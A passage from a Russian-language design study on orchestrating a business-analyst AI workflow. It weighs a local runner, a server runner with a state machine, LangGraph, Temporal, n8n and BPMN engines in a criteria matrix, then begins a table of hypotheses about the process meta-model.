\u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n159\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n160\\t| 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|\\n162\\t\\n163\\t\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n164\\t\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n165\\t\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n166\\t\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n167\\t\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n168\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f 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([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n178\\t  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n179\\t  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n180\\t  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n181\\t  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n182\\t  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n183\\t  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n184\\t  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n185\\t- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n186\\t  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n187\\t  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n188\\t  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n189\\t  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n190\\t  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n191\\t  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n192\\t  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n193\\t  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n194\\t  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n195\\t- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n196\\t  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n197\\t  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n198\\t  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n199\\t  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n200\\t  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n201\\t  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n202\\t\\n203\\t### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n204\\t\\n205\\t\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n206\\t\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n207\\t\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n208\\t\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n209\\t\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n210\\t\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n211\\t\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n212\\t\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n213\\t\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n214\\t\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n215\\t\\n216\\t| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n217\\t|---|---------|----|----|----|----|----|----|----|----|------|\\n218\\t| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n219\\t| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n220\\t| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n221\\t| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n222\\t| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n223\\t| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n224\\t| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n225\\t| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n226\\t| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n227\\t| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n228\\t| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n229\\t\\n230\\t\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n231\\t[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n232\\t[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n233\\t\\n234\\t## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n235\\t\\n236\\t\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n237\\t[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n238\\t`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n239\\t[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n240\\t`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n241\\t[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n242\\t\\n243\\t### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n244\\t\\n245\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n246\\t|---|----------|----------------|--------|-------------|--------------|\\n247\\t| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n248\\t| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n249\\t| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 